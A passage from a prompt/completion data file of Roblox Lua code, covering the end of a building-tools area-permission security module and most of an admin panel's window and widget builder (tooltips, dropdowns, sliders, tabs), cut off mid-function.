violations are exempt, call off any violation\n\t\tif ExemptPartial and AreaPermissions[Area] then\n\t\t\treturn false;\n\t\tend;\n\n\tend;\n\n\t-- If not in a private area, determine violation based on public building policy\n\tif #Areas == 0 then\n\t\treturn not Security.AllowPublicBuilding;\n\n\t-- If authorization for a partial violation-exempt check on an area failed, indicate a violation\n\telseif ExemptPartial then\n\t\treturn true;\n\n\t-- If in authorized areas, determine violation based on public building policy compliance\n\telseif AreaMap and not Security.AllowPublicBuilding then\n\n\t\t-- Check area residence of each part's corner\n\t\tlocal PartCornerCompliance = {};\n\t\tfor AreaRegion, Parts in pairs(AreaMap) do\n\t\t\tfor _, Part in pairs(Parts) do\n\t\t\t\tPartCornerCompliance[Part] = PartCornerCompliance[Part] or 0;\n\n\t\t\t\t-- Track the number of corners that `Part` has in this region\n\t\t\t\tfor _, Corner in pairs(Support.GetPartCorners(Part)) do\n\t\t\t\t\tif AreaRegion:CastPoint(Corner.p) then\n\t\t\t\t\t\tPartCornerCompliance[Part] = PartCornerCompliance[Part] + 1;\n\t\t\t\t\tend;\n\t\t\t\tend;\n\n\t\t\tend;\n\t\tend;\n\n\t\t-- Ensure all corners of the part are contained within areas\n\t\tfor _, CornersContained in pairs(PartCornerCompliance) do\n\t\t\tif CornersContained ~= 8 then\n\t\t\t\treturn true;\n\t\t\tend;\n\t\tend;\n\n\tend;\n\n\t-- If no violations occur, indicate no violations\n\treturn false;\nend;\n\nfunction Security.GetSelectionAreas(Selection, ReturnMap)\n\t-- Returns a list of areas that the selection of parts is in\n\n\t-- Make sure areas are enabled\n\tif not Security.AreAreasEnabled() then\n\t\treturn {};\n\tend;\n\n\t-- Start a map if requested\n\tlocal Map = ReturnMap and {} or nil;\n\n\t-- Check each area to find out if any of the parts are within\n\tlocal Areas = {};\n\tfor _, Area in pairs(Security.Areas:GetChildren()) do\n\n\t\t-- Get all parts from the selection within this area\n\t\tlocal Region = RegionModule.new(\n\t\t\tArea.CFrame * CFrame.new(0, Security.AreaHeight / 2 - Area.Size.Y / 2, 0),\n\t\t\tVector3.new(Area.Size.X, Security.AreaHeight + Area.Size.Y, Area.Size.Z)\n\t\t);\n\t\tlocal ContainedParts = Region:CastParts(Selection);\n\n\t\t-- If parts are in this area, remember the area\n\t\tif #ContainedParts > 0 then\n\t\t\ttable.insert(Areas, Area);\n\n\t\t\t-- Map out the parts for each area region\n\t\t\tif Map then\n\t\t\t\tMap[Region] = ContainedParts;\n\t\t\tend;\n\t\tend;\n\n\tend;\n\n\t-- Return the areas where any of the given parts exist\n\treturn Areas, Map;\nend;\n\nfunction Security.GetPermissions(Areas, Player)\n\t-- Returns a cache of the current player's authorization to the given areas\n\n\t-- Make sure security is enabled\n\tif not Security.AreAreasEnabled() then\n\t\treturn;\n\tend;\n\n\t-- Build the cache of permissions for each area\n\tlocal Cache = {};\n\tfor _, Area in pairs(Areas) do\n\t\tCache[Area] = Security.IsAreaAuthorizedForPlayer(Area, Player);\n\tend;\n\n\t-- Return the permissions cache\n\treturn Cache;\nend;\n\nreturn Security;\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\nreturn function(data)\n\t--local client = service.GarbleTable(client)\n\tlocal Player = service.Players.LocalPlayer\n\tlocal Mouse = Player:GetMouse()\n\tlocal InputService = service.UserInputService\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\t\n\tlocal Event = gTable.BindEvent\n\tlocal GUI = gTable.Object\n\tlocal Name = data.Name\n\tlocal Icon = data.Icon\n\tlocal Size = data.Size\n\tlocal Menu = data.Menu\n\tlocal Title = data.Title\n\tlocal Ready = data.Ready\n\tlocal Walls = data.Walls\n\tlocal noHide = data.NoHide\n\tlocal noClose = data.NoClose\n\tlocal onReady = data.OnReady\n\tlocal onClose = data.OnClose\n\tlocal onResize = data.OnResize\n\tlocal onRefresh = data.OnRefresh\n\tlocal onMinimize = data.OnMinimize\n\tlocal ContextMenu = data.ContextMenu\n\tlocal ResetOnSpawn = data.ResetOnSpawn\n\tlocal CanKeepAlive = data.CanKeepAlive\n\tlocal iconClicked = data.IconClicked\n\tlocal SizeLocked = data.SizeLocked or data.SizeLock\n\tlocal CanvasSize = data.CanvasSize\n\tlocal Position = data.Position\n\tlocal Content = data.Content or data.Children\n\tlocal MinSize = data.MinSize or {150, 50}\n\tlocal MaxSize = data.MaxSize or {math.huge, math.huge}\n\tlocal curIcon = Mouse.Icon\n\tlocal isClosed = false\n\tlocal Resizing = false\n\tlocal Refreshing = false\n\tlocal DragEnabled = true\n\tlocal checkProperty = service.CheckProperty\n\tlocal specialInsts = {}\n\tlocal inExpandable\n\tlocal addTitleButton\n\tlocal LoadChildren\n\tlocal BringToFront\n\t\n\tlocal Drag = GUI.Drag\n\tlocal Close = Drag.Close\n\tlocal Hide = Drag.Hide\n\tlocal Iconf = Drag.Icon\n\tlocal Titlef = Drag.Title\n\tlocal Refresh = Drag.Refresh\n\tlocal rSpinner = Refresh.Spinner\n\tlocal Main = Drag.Main\n\tlocal Tooltip = GUI.Desc\n\tlocal ScrollFrame = GUI.Drag.Main.ScrollingFrame\n\tlocal LeftSizeIcon = Main.LeftResizeIcon\n\tlocal RightSizeIcon = Main.RightResizeIcon\n\tlocal RightCorner = Main.RightCorner\n\tlocal LeftCorner = Main.LeftCorner\n\tlocal RightSide = Main.RightSide\n\tlocal LeftSide = Main.LeftSide\n\tlocal TopRight = Main.TopRight\n\tlocal TopLeft = Main.TopLeft\n\tlocal Bottom = Main.Bottom\n\tlocal Top = Main.Top\n\t\n\tfunction Expand(ent, point, text)\n\t\tlocal label = point:FindFirstChild(\"Label\")\n\t\t\n\t\tif label then\n\t\t\tent.MouseLeave:Connect(function(x,y)\n\t\t\t\tif inExpandable == ent then\n\t\t\t\t\tpoint.Visible = false\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tent.MouseMoved:Connect(function(x,y)\n\t\t\t\tinExpandable = ent\n\t\t\t\tlabel.Text = text or ent.Desc.Value\n\t\t\t\t--point.Size = UDim2.new(0, 10000, 0, 10000)\n\t\t\t\tlocal newx = 500\n\t\t\t\tlocal bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X\n\t\t\t\tlocal rows = math.floor(bounds/500)\n\t\t\t\trows = rows+1\n\t\t\t\tif rows<1 then rows = 1 end\n\t\t\t\tif bounds<500 then newx = bounds end\n\t\t\t\tpoint.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)\n\t\t\t\tpoint.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))\n\t\t\t\tpoint.Visible = true\n\t\t\tend)\n\t\tend\n\tend\n\t\n\tfunction getNextPos(frame)\n\t\tlocal farXChild, farYChild\n\t\tfor i,v in next,frame:GetChildren() do\n\t\t\tif checkProperty(v, \"Size\") then\n\t\t\t\tif not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then\n\t\t\t\t\tfarXChild = v\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then\n\t\t\t\t\tfarYChild = v\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)\n\tend\n\t\n\tfunction LoadChildren(Obj, Children)\n\t\tif Children then\n\t\t\tlocal runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)\n\t\t\tfor class,data in next,Children do\n\t\t\t\tif type(data) == \"table\" then\n\t\t\t\t\tif not data.Parent then data.Parent = Obj end\n\t\t\t\t\tcreate(data.Class or data.ClassName or class, data)\n\t\t\t\telseif type(data) == \"function\" or type(data) == \"string\" and not runWhenDone then\n\t\t\t\t\trunWhenDone = functionify(data, Obj)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif runWhenDone then\n\t\t\t\trunWhenDone(Obj)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfunction BringToFront()\n\t\tfor i,v in ipairs(Player.PlayerGui:GetChildren()) do\n\t\t\tif v:FindFirstChild(\"__ADONIS_WINDOW\") then\n\t\t\t\tv.DisplayOrder = 100\n\t\t\tend\n\t\tend\n\t\t\n\t\tGUI.DisplayOrder = 101\n\tend\n\t\n\tfunction addTitleButton(data)\n\t\tlocal startPos = 1\n\t\tlocal realPos\n\t\tlocal new \n\t\tlocal original = Hide\n\t\t\n\t\tif Hide.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\t\t\n\t\tif Close.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\t\t\n\t\tif Refresh.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\t\t\n\t\trealPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0)\n\t\tdata.Position = data.Position or realPos\n\t\tdata.Size = data.Size or original.Size\n\t\tdata.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3\n\t\tdata.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency\n\t\tdata.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel\n\t\tdata.ZIndex = data.ZIndex or original.ZIndex\n\t\tdata.TextColor3 = data.TextColor3 or original.TextColor3\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3\n\t\tdata.TextSize = data.TextSize or original.TextSize\n\t\tdata.TextTransparency = data.TextTransparency or original.TextTransparency\n\t\tdata.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextWrapped = data.TextWrapped or original.TextWrapped\n\t\t--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment\n\t\t--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment\n\t\tdata.Font = data.Font or original.Font\n\t\tdata.Parent = Drag\n\t\t\n\t\treturn create(\"TextButton\", data)\n\tend\n\t\n\tfunction functionify(func, object)\n\t\tif type(func) == \"string\" then\n\t\t\tif object then\n\t\t\t\tlocal env = GetEnv()\n\t\t\t\tenv.Object = object\n\t\t\t\treturn client.Core.LoadCode(func, env)\n\t\t\telse\n\t\t\t\treturn client.Core.LoadCode(func)\n\t\t\tend\n\t\telse\n\t\t\treturn func\n\t\tend\n\tend\n\t\n\tfunction create(class, dataFound, existing)\n\t\tlocal data = dataFound or {}\n\t\tlocal class = data.Class or data.ClassName or class\n\t\tlocal new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)\n\t\tlocal parent = data.Parent or new.Parent\n\t\t\n\t\tif dataFound then\n\t\t\tdata.Parent = nil\n\t\t\t\n\t\t\tif data.Class or data.ClassName then\n\t\t\t\tdata.Class = nil\n\t\t\t\tdata.ClassName = nil\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BorderColor3 and checkProperty(new,\"BorderColor3\") then\n\t\t\t\tnew.BorderColor3 = dBorder\n\t\t\tend\n\t\t\t\n\t\t\tif not data.CanvasSize and checkProperty(new,\"CanvasSize\") then\n\t\t\t\tnew.CanvasSize = dCanvasSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BorderSizePixel and checkProperty(new,\"BorderSizePixel\") then\n\t\t\t\tnew.BorderSizePixel = dPixelSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BackgroundColor3 and checkProperty(new,\"BackgroundColor3\") then\n\t\t\t\tnew.BackgroundColor3 = dBackground\n\t\t\tend\n\t\t\t\n\t\t\tif not data.PlaceholderColor3 and checkProperty(new,\"PlaceholderColor3\") then\n\t\t\t\tnew.PlaceholderColor3 = dPlaceholderColor\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Transparency and not data.BackgroundTransparency and checkProperty(new,\"Transparency\") then\n\t\t\t\tnew.BackgroundTransparency = dTransparency\n\t\t\telseif data.Transparency then\n\t\t\t\tnew.BackgroundTransparency = data.Transparency\n\t\t\tend\n\t\t\t\n\t\t\tif not data.TextColor3 and not data.TextColor and checkProperty(new,\"TextColor3\") then\n\t\t\t\tnew.TextColor3 = dTextColor\n\t\t\telseif data.TextColor then\n\t\t\t\tnew.TextColor3 = data.TextColor\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Font and checkProperty(new, \"Font\") then\n\t\t\t\tdata.Font = dFont\n\t\t\tend\n\t\t\t\n\t\t\tif not data.TextSize and checkProperty(new, \"TextSize\") then\n\t\t\t\tdata.TextSize = dTextSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BottomImage and not data.MidImage and not data.TopImage and class == \"ScrollingFrame\" then\n\t\t\t\tnew.BottomImage = dScrollImage \n\t\t\t\tnew.MidImage = dScrollImage\n\t\t\t\tnew.TopImage = dScrollImage\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Size and checkProperty(new,\"Size\") then\n\t\t\t\tnew.Size = dSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Position and checkProperty(new,\"Position\") then\n\t\t\t\tnew.Position = dPosition\n\t\t\tend\n\t\t\t\n\t\t\tif not data.ZIndex and checkProperty(new,\"ZIndex\") then\n\t\t\t\tnew.ZIndex = dZIndex\n\t\t\t\tif parent and checkProperty(parent, \"ZIndex\") then\n\t\t\t\t\tnew.ZIndex = parent.ZIndex\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif data.TextChanged and class == \"TextBox\" then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, new)\n\t\t\t\tnew.FocusLost:Connect(function(enterPressed)\n\t\t\t\t\ttextChanged(new.Text, enterPressed, new)\n\t\t\t\tend)\n\t\t\tend\n\t\t\t\n\t\t\tif (data.OnClicked or data.OnClick) and (class == \"TextButton\" or class == \"ImageButton\") then\n\t\t\t\tlocal debounce = false;\n\t\t\t\tlocal doDebounce = data.Debounce;\n\t\t\t\tlocal onClick = functionify((data.OnClicked or data.OnClick), new)\n\t\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\t\tif not debounce then \n\t\t\t\t\t\tif doDebounce then\n\t\t\t\t\t\t\tdebounce = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tonClick(new);\n\t\t\t\t\t\t\n\t\t\t\t\t\tdebounce = false;\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\t\t\n\t\t\tif data.Events then\n\t\t\t\tfor event,func in pairs(data.Events) do\n\t\t\t\t\tlocal realFunc = functionify(func, new)\n\t\t\t\t\tEvent(new[event], function(...)\n\t\t\t\t\t\trealFunc(...)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif data.Visible == nil then\n\t\t\t\tdata.Visible = true\n\t\t\tend\n\t\t\t\n\t\t\tif data.LabelProps then\n\t\t\t\tdata.LabelProperties = data.LabelProps\n\t\t\tend\n\t\tend\n\t\t\n\t\tif class == \"Entry\" then\n\t\t\tlocal label = new.Text\n\t\t\tlocal dots = new.Dots\n\t\t\tlocal desc = new.Desc\n\t\t\t\n\t\t\tlabel.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tdots.ZIndex = data.ZIndex or new.ZIndex\n\t\t\t\n\t\t\tif data.Text then\n\t\t\t\tnew.Text.Text = data.Text\n\t\t\t\tnew.Text.Visible = true\n\t\t\t\tdata.Text = nil\n\t\t\tend\n\t\t\t\n\t\t\tif data.Desc or data.ToolTip then\n\t\t\t\tnew.Desc.Value = data.Desc or data.ToolTip\n\t\t\t\tdata.Desc = nil\n\t\t\tend\n\t\t\t\n\t\t\tExpand(new, Tooltip)\n\t\telse\n\t\t\tif data.ToolTip then\n\t\t\t\tExpand(new, Tooltip, data.ToolTip)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif class == \"ButtonEntry\" then\n\t\t\tlocal button = new.Button\n\t\t\tlocal debounce = false\n\t\t\tlocal onClicked = functionify(data.OnClicked, button)\n\t\t\t\n\t\t\tnew:SetSpecial(\"DoClick\",function()\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif onClicked then\n\t\t\t\t\t\tonClicked(button)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbutton.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tbutton.MouseButton1Down:Connect(new.DoClick)\n\t\tend\n\t\t\n\t\tif class == \"Boolean\" then\n\t\t\tlocal enabled = data.Enabled\n\t\t\tlocal debounce = false\n\t\t\tlocal onToggle = functionify(data.OnToggle, new)\n\t\t\tlocal function toggle(isEnabled)\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then\n\t\t\t\t\t\tenabled = false\n\t\t\t\t\t\tnew.Text = \"Disabled\"\n\t\t\t\t\telseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then\n\t\t\t\t\t\tenabled = true\n\t\t\t\t\t\tnew.Text = \"Enabled\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif onToggle then\n\t\t\t\t\t\tonToggle(enabled, new)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t--new.ZIndex = data.ZIndex\n\t\t\tnew.Text = (enabled and \"Enabled\") or \"Disabled\"\n\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\tif onToggle then\n\t\t\t\t\ttoggle()\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"Toggle\",function(ignore, isEnabled) toggle(isEnabled) end)\n\t\tend\n\t\t\n\t\tif class == \"StringEntry\" then\n\t\t\tlocal box = new.Box\n\t\t\tlocal ignore\n\t\t\t\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbox.ZIndex = data.ZIndex or new.ZIndex\n\t\t\t\n\t\t\tif data.BoxText then\n\t\t\t\tbox.Text = data.BoxText\n\t\t\tend\n\t\t\t\n\t\t\tif data.BoxProperties then\n\t\t\t\tfor i,v in next,data.BoxProperties do\n\t\t\t\t\tif checkProperty(box, i) then\n\t\t\t\t\t\tbox[i] = v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif data.TextChanged then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, box)\n\t\t\t\tbox.Changed:Connect(function(p)\n\t\t\t\t\tif p == \"Text\" and not ignore then\n\t\t\t\t\t\ttextChanged(box.Text)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tbox.FocusLost:Connect(function(enter)\n\t\t\t\t\tlocal change = textChanged(box.Text, true, enter)\n\t\t\t\t\tif change then\n\t\t\t\t\t\tignore = true\n\t\t\t\t\t\tbox.Text = change\n\t\t\t\t\t\tignore = false\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\t\t\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue) box.Text = newValue end)\n\t\tend\n\t\t\n\t\tif class == \"Slider\" then\n\t\t\tlocal mouseIsIn = false\n\t\t\tlocal posValue = new.Percentage\n\t\t\tlocal slider = new.Slider\n\t\t\tlocal bar = new.SliderBar\n\t\t\tlocal drag = new.Drag\n\t\t\tlocal moving = false\n\t\t\tlocal value = 0\n\t\t\tlocal onSlide = functionify(data.OnSlide, new)\n\t\t\t\n\t\t\tbar.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tslider.ZIndex = bar.ZIndex+1\n\t\t\tdrag.ZIndex = slider.ZIndex+1\n\t\t\tdrag.Active = true\n\t\t\t\n\t\t\tif data.Value then\n\t\t\t\tslider.Position = UDim2.new(0.5, -10, 0.5, -10)\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend\n\t\t\t\n\t\t\tbar.InputBegan:Connect(function(input)\n\t\t\t\tif not moving and input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\t\t\t\t\t\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\t\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tdrag.DragBegin:Connect(function()\n\t\t\t\tmoving = true\n\t\t\tend)\n\t\t\t\n\t\t\tdrag.DragStopped:Connect(function()\n\t\t\t\tmoving = false\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend)\n\t\t\t\n\t\t\tdrag.Changed:Connect(function()\n\t\t\t\tif moving then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\t\t\t\t\t\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\t\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue) \n\t\t\t\tif newValue and tonumber(newValue) then \n\t\t\t\t\tvalue = tonumber(newValue)\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tif class == \"Dropdown\" then\n\t\t\tlocal menu = new.Menu\n\t\t\tlocal downImg = new.Down\n\t\t\tlocal selected = new.dSelected\n\t\t\tlocal options = data.Options\n\t\t\tlocal curSelected = data.Selected or data.Selection\n\t\t\tlocal onSelect = functionify(data.OnSelection or data.OnSelect or function()end)\n\t\t\tlocal textProps = data.TextProperties\n\t\t\tlocal scroller = create(\"ScrollingFrame\", {\n\t\t\t\tParent = menu;\n\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\tZIndex = 100;\n\t\t\t})\n\t\t\t\n\t\t\tmenu.ZIndex = scroller.ZIndex\n\t\t\tmenu.Parent = GUI\n\t\t\tmenu.Visible = false\n\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);\n\t\t\tmenu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3\n\t\t\t\n\t\t\tif data.TextAlignment then\n\t\t\t\tselected.TextXAlignment = data.TextAlignment\n\t\t\t\tselected.Position = UDim2.new(0, 30, 0, 0);\n\t\t\tend\n\t\t\t\n\t\t\tif data.NoArrow then\n\t\t\t\tdownImg.Visible = false\n\t\t\tend\n\t\t\t\n\t\t\tnew:SetSpecial(\"MenuContainer\", menu)\n\t\t\t\n\t\t\tnew.Changed:Connect(function(p)\n\t\t\t\tif p == \"AbsolutePosition\" and menu.Visible then\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\telseif p == \"AbsoluteSize\" or p == \"Parent\" then\n\t\t\t\t\tdownImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);\n\t\t\t\t\tif data.TextAlignment == \"Right\" then\n\t\t\t\t\t\tdownImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\t\tselected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);\n\t\t\t\t\telse\n\t\t\t\t\t\tdownImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tselected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);\n\t\t\t\t\t\n\t\t\t\t\tif options and #options <= 6 then\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);\n\t\t\t\t\telse\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);\n\t\t\t\t\t\tscroller:ResizeCanvas(false, true);\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tselected.ZIndex = new.ZIndex\n\t\t\tdownImg.ZIndex = new.ZIndex\n\t\t\t\n\t\t\tif textProps then\n\t\t\t\tfor i,v in next,textProps do\n\t\t\t\t\tselected[i] = v\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif options then\n\t\t\t\tfor i,v in next,options do\n\t\t\t\t\tlocal button = scroller:Add(\"TextButton\", {\n\t\t\t\t\t\tText = \" \".. tostring(v);\n\t\t\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\t\t\tPosition = UDim2.new(0, 5, 0, 30*(i-1));\n\t\t\t\t\t\tZIndex = menu.ZIndex;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tOnClick = function()\n\t\t\t\t\t\t\tselected.Text = v;\n\t\t\t\t\t\t\tonSelect(v, new);\n\t\t\t\t\t\t\tmenu.Visible = false\n\t\t\t\t\t\tend\n\t\t\t\t\t})\n\t\t\t\t\t\n\t\t\t\t\tif textProps then\n\t\t\t\t\t\tfor i,v in next,textProps do\n\t\t\t\t\t\t\tbutton[i] = v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif curSelected then\n\t\t\t\t\tselected.Text = curSelected\n\t\t\t\telse\n\t\t\t\t\tselected.Text = \"No Selection\"\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tselected.MouseButton1Down:Connect(function()\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\t\tmenu.Visible = not menu.Visible\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif class == \"TabFrame\" then\n\t\t\tlocal buttons = create(\"ScrollingFrame\", nil, new.Buttons)\n\t\t\tlocal frames = new.Frames\n\t\t\tlocal numTabs = 0\n\t\t\tlocal buttonSize = data.ButtonSize or 60\n\t\t\t\n\t\t\tnew.BackgroundTransparency = data.BackgroundTransparency or 1\n\t\t\tbuttons.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tframes.ZIndex = buttons.ZIndex\n\t\t\t\n\t\t\tnew:SetSpecial(\"GetTab\", function(ignore, name)\n\t\t\t\treturn frames:FindFirstChild(name)\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"NewTab\", function(ignore, name, data)\n\t\t\t\tlocal data = data or {}\n\t\t\t\t--local numChildren = #frames:GetChildren()\n\t\t\t\tlocal nextPos = getNextPos(buttons);\n\t\t\t\tlocal textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)\n\t\t\t\tlocal oTextTrans = data.TextTransparency\n\t\t\t\tlocal isOpen = false\n\t\t\t\tlocal disabled = false\n\t\t\t\tlocal tabFrame = create(\"ScrollingFrame\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t\tBackgroundTransparency = data.FrameTransparency or data.Transparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tVisible = false;\n\t\t\t\t})\n\t\t\t\t\n\t\t\t\tlocal tabButton = create(\"TextButton\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tText = data.Text or name;\n\t\t\t\t\tSize = UDim2.new(0, textSize.X+20, 1, 0);\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tPosition = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);\n\t\t\t\t\tTextColor3 = data.TextColor;\n\t\t\t\t\tBackgroundTransparency = 0.7;\n\t\t\t\t\tTextTransparency = data.TextTransparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t})\n\t\t\t\t\n\t\t\t\ttabFrame:SetSpecial(\"FocusTab\",function()\n\t\t\t\t\tfor i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end 